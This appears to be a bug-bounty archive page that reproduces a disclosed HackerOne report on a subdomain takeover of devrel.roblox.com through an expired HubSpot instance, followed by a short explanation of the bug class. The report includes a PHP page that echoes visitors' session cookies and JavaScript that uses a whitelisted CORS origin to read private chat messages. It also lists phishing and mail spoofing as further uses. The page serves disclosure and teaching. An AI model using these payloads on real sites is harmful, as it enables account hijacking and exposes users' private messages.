Skip to content
Subdomain takeover Disclosed report Intermediate

Subdomain Takeover to Authentication bypass

An unclaimed HubSpot instance allowed an attacker to take over the devrel.roblox.com subdomain and serve content. This could let the attacker steal session cookies scoped to all Roblox subdomains and read private chat messages via a whitelisted CORS origin.

geekboy Follow

Originally disclosed on HackerOne

Critical 9.4 View original
  • Triaged in 18 hours
  • Fixed in 18 hours
  • Paid in 18 hours
  • Disclosed after 2.0 years

Vulnerability Type:


Subdomain Takeover

Description:


Due to unclaimed or expired Hubspot instance an attacker is able to claim and serve content from devrel.roblox.com and perform different kind of attacks which i shared in impact section.

Affected Area:


http://devrel.roblox.com

Steps to Reproduce:


takeover.PNG
takeover.PNG From the original on HackerOne

Mitigation:


  • Remove the CNAME entry for the devrel.roblox.com

Impact

Let's talk about about in details, as attacker could possible takeover other users account.

  1. As .ROBLOSECURITY cookies is scoped to *.roblox.com means same cookies shared with all other subdomain, i'm not much familiar with hubspot with hosting following code on will steal all the users cookie who visit this subdomain.
shared_cookie.PNG
shared_cookie.PNG From the original on HackerOne

###steal_cookie.php

PHP
<html>
<body>
<?php
echo "Cookies received: <br>";

foreach ($_COOKIE as $key=>$val)
  {
    echo "Set-Cookie: $key=$val; Domain=.roblox.com; path=/<br>\n";
  }
?>
</body>
</html>
  1. Also devrel.roblox.com can be used to read all the chats between other users as devrel.roblox.com is also white listed to make CORS request at chat.roblox.com
reading_chats.PNG
reading_chats.PNG From the original on HackerOne

Which can be done like this:

HTML

<h2>CORS To Read Chat</h2>
<div id="demo">
<button type="button" onclick="cors()">Chat Reader @ Roblox</button>
</div>
 
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = document.write(this.responseText);
    }
  };
  xhttp.open("GET", "https://chat.roblox.com/v2/get-messages?conversationId=469104576&pageSize=3", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>

Apart form all above issue, attacker can do following things as well.

  • Creating fake login page for credentials harvesting.
  • Sharing malicious files using roblox.
  • Creating mail account using GSuite to send and recived emails on behalf of *@devrel.roblox.com

The original report as published on HackerOne, by geekboy. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a dangling CNAME record pointing to an expired HubSpot instance that was not removed.

Impact

An attacker could steal session cookies for all Roblox subdomains and read private chat messages, and could also host phishing pages or send emails from the subdomain.

What the attacker needed

Expired HubSpot instance; victim visits the subdomain

How it was found

  1. Visit the subdomain URL to see the takeover proof.
  2. Claim the expired HubSpot instance to serve content.
  3. Host a cookie-stealing page on the subdomain.
  4. Use the subdomain's CORS whitelist to read chat messages.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A subdomain takeover happens when a company points a subdomain to an external service but forgets to remove the DNS record after the service account expires. Anyone can then claim that service account and control what the subdomain shows. Here, because the stolen subdomain shares cookies with the main site and is trusted by another service, the attacker could impersonate users and read their chats.

What is Subdomain takeover?

A company's DNS still points at a cloud service it no longer uses, so anyone can claim it and serve content on the company's domain.

More by geekboy

View all

11 more disclosed reports, best first.

More from Roblox

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Subdomain takeover

The lesson behind this report.

A company's DNS still points at a cloud service it no longer uses, so anyone can claim it and serve content on the company's domain.